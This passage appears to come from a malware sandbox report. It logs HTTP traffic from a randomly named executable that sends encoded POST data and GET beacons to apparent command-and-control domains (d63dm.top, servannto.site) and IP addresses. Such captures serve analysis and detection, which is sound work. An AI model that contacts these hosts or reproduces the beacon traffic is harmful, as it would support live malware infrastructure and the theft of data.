Nov 22, 2024 14:46:38.089654922 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:37 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49734	154.23.184.218	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:39.191097975 CET	818	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 62 2f 59 73 4f 6c 32 31 49 50 51 48 64 6a 4e 43 6f 53 46 50 57 38 72 37 47 36 45 58 33 73 6e 44 68 53 79 5a 51 78 5a 38 46 58 74 67 78 41 4b 33 31 75 6d 4b 74 73 57 57 33 61 41 68 4f 62 73 33 38 4f 66 7a 34 79 47 54 69 4b 30 35 55 2f 53 45 4b 74 2b 2b 57 4a 42 6b 68 4a 73 59 6f 39 74 78 76 6d 4f 39 78 45 56 6a 30 65 76 4a 65 78 61 50 4b 44 79 6f 4b 35 70 6e 4f 74 68 50 32 48 67 69 54 41 49 68 44 56 38 77 46 53 4a 4e 73 34 6c 41 58 7a 68 71 41 73 59 72 67 54 4d 48 64 6e 61 67 79 35 67 4e 73 32 37 41 70 71 4d 50 32 31 67 77 70 57 6d 77 44 67 61 32 66 52 6a 34 4b 75 47 75 59 4b 78 32 6b 52 4f 59 59 7a 6c 79 69 49 61 32 Data Ascii: NjHpTfh=24JOOXJ8e4hNb/YsOl21IPQHdjNCoSFPW8r7G6EX3snDhSyZQxZ8FXtgxAK31umKtsWW3aAhObs38Ofz4yGTiK05U/SEKt++WJBkhJsYo9txvmO9xEVj0evJexaPKDyoK5pnOthP2HgiTAIhDV8wFSJNs4lAXzhqAsYrgTMHdnagy5gNs27ApqMP21gwpWmwDga2fRj4KuGuYKx2kROYYzlyiIa2
Nov 22, 2024 14:46:40.800514936 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:40 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49735	154.23.184.218	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:41.854500055 CET	1835	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 62 2f 59 73 4f 6c 32 31 49 50 51 48 64 6a 4e 43 6f 53 46 50 57 38 72 37 47 36 45 58 33 73 76 44 67 67 4b 5a 66 32 31 38 45 58 74 67 76 77 4b 36 31 75 6d 58 74 73 2b 53 33 61 63 62 4f 5a 45 33 39 73 48 7a 76 7a 47 54 73 36 30 35 52 50 53 48 56 39 2b 52 57 49 78 67 68 4a 63 59 6f 39 74 78 76 6e 2b 39 2f 42 70 6a 32 65 76 4b 4f 68 61 39 62 54 7a 50 4b 36 59 63 4f 74 31 41 32 52 51 69 64 41 59 68 46 6d 55 77 49 53 4a 50 6c 6f 6b 54 58 7a 38 6f 41 73 56 46 67 51 52 73 64 6e 69 67 7a 38 42 38 78 30 54 5a 2b 72 4e 2b 32 45 70 54 74 6c 43 4d 44 67 57 45 56 67 66 39 41 4a 71 56 56 59 6c 6c 7a 54 44 64 44 6c 4a 48 6a 64 6e 56 5a 75 47 4e 52 6e 43 77 7a 65 30 78 51 48 70 66 39 50 52 50 42 30 75 43 55 7a 72 52 78 75 4c 63 53 50 4a 58 71 65 33 38 64 66 49 72 33 48 64 54 4c 2f 6c 61 72 73 37 42 54 59 77 68 67 38 31 74 78 51 4b 31 37 39 6a 36 72 4c 71 74 59 73 75 52 58 6b 6a 4d 32 38 56 79 6f 53 4d 4c 33 74 38 65 76 51 36 78 42 35 49 67 36 6f 6a 66 65 5a [TRUNCATED] Data Ascii: NjHpTfh=24JOOXJ8e4hNb/YsOl21IPQHdjNCoSFPW8r7G6EX3svDggKZf218EXtgvwK61umXts+S3acbOZE39sHzvzGTs605RPSHV9+RWIxghJcYo9txvn+9/Bpj2evKOha9bTzPK6YcOt1A2RQidAYhFmUwISJPlokTXz8oAsVFgQRsdnigz8B8x0TZ+rN+2EpTtlCMDgWEVgf9AJqVVYllzTDdDlJHjdnVZuGNRnCwze0xQHpf9PRPB0uCUzrRxuLcSPJXqe38dfIr3HdTL/lars7BTYwhg81txQK179j6rLqtYsuRXkjM28VyoSML3t8evQ6xB5Ig6ojfeZNY03vA3kKgyy2ZouzzuY6EzCV9KG5gz2o4hieeV0lmEMrTYpddzwbGM+0Hu4PsZCrAQgRSrrCEmF3o2Oqi3a4sx2GRjBAEFgF8lzFhMJCjQMPDSvChPXyxYNLMkrrs1P1xkIM+Y74PCB/MwtJwzmr2tp4ECSE+1K5ugb2rokrIZsC9hNkI6Ci1fAlidebkvTBXpQ9GzBeF9Yr+7flMdrPKxaWDnC4nbvasLZm5vYrq5O+qL/gm0NnuEa55HAc47UZXr3AwviWjwShaP+QbMBzo/Lo5wCY++CMU6+8iuK9s3sFs3A03OkZ1ZbMcwzu5HXEe85MiO9CSyRhpZ6oC4/wKA32ApNb2MQY5/+/0hvK+dQN0Jel1F41TdRAIfFk+1aKfw+mB/c2RcLirt5IKTQNMjfzBaIEyBUtfZmWDdPMovz8OXlqVTqBV6i1ps+kmDos+Fc93HOT9i5wIRG9Un6/NnzmrGkETQ8+da9CJBIxpkZ2wVOjeO8PNPqmE8kOffKSUdP/L4D02NOHClm+QH0/DAGd0ciwVAAI2njJonBNNc8/7YIBKP5qdlKiNVT1CeXdKxXfU/jrM9BP2MAppLq7Ax0iyu7taFSid9vq+o39r3xQzidtca2N3qmCTAnppx2SpBgXdXLnaf8gGmc3O0+TZV3QYl7GdFTay [TRUNCATED]
Nov 22, 2024 14:46:43.418164968 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:43 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49736	154.23.184.218	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:44.510334969 CET	550	OUT	GET /rqnz/?NjHpTfh=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5tZILeOOALNuMLpp3tbYRhrZPyWqW3RF19Jr1EDacfA/CTw==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:46:46.132545948 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:45 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49737	31.31.196.17	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:51.763345957 CET	813	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4b 66 4a 4c 57 45 76 65 64 2b 44 72 46 65 77 37 58 44 7a 4d 56 4f 75 51 44 57 59 43 78 6b 47 70 6f 33 33 44 75 46 35 67 36 2b 58 35 64 73 45 42 46 69 52 42 45 35 2f 79 55 6f 52 4e 4c 4f 4e 66 76 35 78 68 44 6f 79 2f 44 59 65 6a 37 52 6f 35 51 59 61 65 4e 50 50 32 4b 59 4f 39 73 7a 53 6a 4e 78 77 66 6f 77 75 64 6c 32 47 4a 6a 32 38 7a 7a 46 4f 57 31 57 34 36 72 76 70 2b 43 65 35 55 71 30 6e 54 35 46 38 4f 36 69 4d 68 54 79 57 2f 2f 72 75 2b 74 4a 48 6a 6d 56 68 54 45 71 59 74 70 47 6b 35 4b 4b 71 50 61 56 4d 39 4b 6f 2f 41 48 2f 30 78 6b 71 45 4c 54 61 6f 3d Data Ascii: NjHpTfh=6DLu6QMM1jamKfJLWEved+DrFew7XDzMVOuQDWYCxkGpo33DuF5g6+X5dsEBFiRBE5/yUoRNLONfv5xhDoy/DYej7Ro5QYaeNPP2KYO9szSjNxwfowudl2GJj28zzFOW1W46rvp+Ce5Uq0nT5F8O6iMhTyW//ru+tJHjmVhTEqYtpGk5KKqPaVM9Ko/AH/0xkqELTao=
Nov 22, 2024 14:46:53.207158089 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49738	31.31.196.17	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:54.531384945 CET	833	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4c 38 52 4c 55 6e 48 65 52 4f 44 6f 4c 2b 77 37 64 6a 7a 49 56 4a 6d 51 44 58 74 48 78 77 71 70 6f 57 48 44 68 68 74 67 2f 2b 58 35 56 4d 45 49 4c 43 52 4b 45 35 37 41 55 73 52 4e 4c 50 74 66 76 38 64 68 43 59 4f 38 44 49 65 68 77 78 6f 37 55 59 61 65 4e 50 50 32 4b 59 61 44 73 7a 61 6a 4d 46 4d 66 75 55 61 65 73 57 47 57 72 57 38 7a 33 46 4f 53 31 57 35 66 72 75 31 41 43 63 78 55 71 33 7a 54 67 77 49 4e 67 79 4e 6f 4d 43 58 2b 7a 35 37 50 6b 49 44 44 74 7a 39 48 41 72 77 4d 6c 51 56 54 51 6f 69 4a 5a 56 6b 57 4b 72 58 32 43 49 70 5a 2b 4a 55 37 4e 4e 38 53 4c 78 38 46 6d 52 70 42 75 4c 4a 4a 56 66 6c 44 43 35 64 5a Data Ascii: NjHpTfh=6DLu6QMM1jamL8RLUnHeRODoL+w7djzIVJmQDXtHxwqpoWHDhhtg/+X5VMEILCRKE57AUsRNLPtfv8dhCYO8DIehwxo7UYaeNPP2KYaDszajMFMfuUaesWGWrW8z3FOS1W5fru1ACcxUq3zTgwINgyNoMCX+z57PkIDDtz9HArwMlQVTQoiJZVkWKrX2CIpZ+JU7NN8SLx8FmRpBuLJJVflDC5dZ
Nov 22, 2024 14:46:55.800420046 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49739	31.31.196.17	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:57.324260950 CET	1850	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4c 38 52 4c 55 6e 48 65 52 4f 44 6f 4c 2b 77 37 64 6a 7a 49 56 4a 6d 51 44 58 74 48 78 78 2b 70 6f 6b 50 44 75 6d 42 67 34 2b 58 35 62 73 45 4e 4c 43 52 74 45 39 66 45 55 73 56 33 4c 4b 70 66 75 65 56 68 4b 4b 71 38 4e 49 65 68 2f 52 6f 36 51 59 62 65 4e 50 2f 71 4b 59 4b 44 73 7a 61 6a 4d 45 63 66 75 41 75 65 71 57 47 4a 6a 32 39 38 7a 46 50 4e 31 57 78 6c 72 75 77 31 43 73 52 55 72 58 6a 54 69 69 67 4e 34 69 4e 71 50 43 57 74 7a 35 6e 55 6b 49 50 68 74 7a 68 74 41 6f 51 4d 6d 78 68 4e 46 71 36 6d 62 54 6b 5a 4a 62 6a 38 4d 61 74 32 67 62 70 50 45 2f 6f 6f 63 6e 63 76 6e 77 4a 68 6a 5a 34 64 48 62 59 4d 4c 75 35 58 6c 4e 31 6b 52 56 5a 70 4e 56 56 79 7a 42 56 72 55 61 2b 77 78 5a 71 37 2f 6c 33 64 6c 6e 79 73 4a 55 72 56 73 78 70 72 77 45 4d 5a 33 6c 2f 58 53 31 2f 65 42 70 47 43 2f 58 46 59 52 63 4e 38 52 64 79 53 2f 44 46 51 6a 6c 2f 4f 59 64 49 64 4b 64 4f 4c 73 49 52 38 73 39 53 6a 57 50 52 78 69 6a 51 42 36 4a 6e 45 2b 67 51 6a 50 49 [TRUNCATED] Data Ascii: NjHpTfh=6DLu6QMM1jamL8RLUnHeRODoL+w7djzIVJmQDXtHxx+pokPDumBg4+X5bsENLCRtE9fEUsV3LKpfueVhKKq8NIeh/Ro6QYbeNP/qKYKDszajMEcfuAueqWGJj298zFPN1Wxlruw1CsRUrXjTiigN4iNqPCWtz5nUkIPhtzhtAoQMmxhNFq6mbTkZJbj8Mat2gbpPE/oocncvnwJhjZ4dHbYMLu5XlN1kRVZpNVVyzBVrUa+wxZq7/l3dlnysJUrVsxprwEMZ3l/XS1/eBpGC/XFYRcN8RdyS/DFQjl/OYdIdKdOLsIR8s9SjWPRxijQB6JnE+gQjPIUki1W578g9EZC3wc3VacExEOVugJZofnFI2ENiCU0mOBx0Sx/FJYtLfjBCMCuWE9ns9FpzRW97oVinqDBgBIbOUf421Q3prl5vhoQZEG4TRYZyHPzx9kuuSfRH9n4jowkGezNzi7TwSkg5eIwvsGKrxTC8usJJ/OIjIvppM8VRdaMq26dk+YagxdkoFp/cQ5D+PP7240f5Wi0ilhKR2Klc4A7HicX3q92HoFI8q/OxkvCmpO1gASL45H9fT9qg2fmYGqTf2HJb+7AAAvNrMC3N83ms7EgRPk8QN6KcDojRAszz6ncl/H5GBxYqvmcEj+e2Dg8e1kp8Z+ib8TSbD+r3WiaeY00QCUT11sxLrQfsyeluVr0QBa+uYYJ28jtNRDLs9ow0mPbc9LnCzieUYRbFYTCbMGTjMAMqGYdOClwfDGNgMdpmgpCFdQ3nSaJtVvVh3loJ7ghN+LSUo5nTsD/F3mudPp7MRf2vhTRulYTDzw2TqDIhVWSeRp+Iw0lE1DdVrEHQLYRUeuZNHWwre/jpzzqCtRu6dB1c1cg9A1rCPC7zvbSgZznyMD5tFrSsQ/DKKz3C9VwI6mVrqWQB25RYY3nhFIoXc/YreMgNogoT+ccy1tqtjNaipGXghxJ/EjMBc4v35d8xYWRAp2pYRVT9dD4eB6Bd4nzk [TRUNCATED]
Nov 22, 2024 14:46:58.697161913 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:46:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49740	31.31.196.17	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:47:00.031788111 CET	555	OUT	GET /h26k/?1fo=GF14svyhH44dt&NjHpTfh=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcJ5+lxyBJff7SJaPEJKSXzAPLDFQjr1SUqUGQs1Ux+2nJpQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:47:01.304291010 CET	733	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 13:47:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49741	64.190.63.222	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
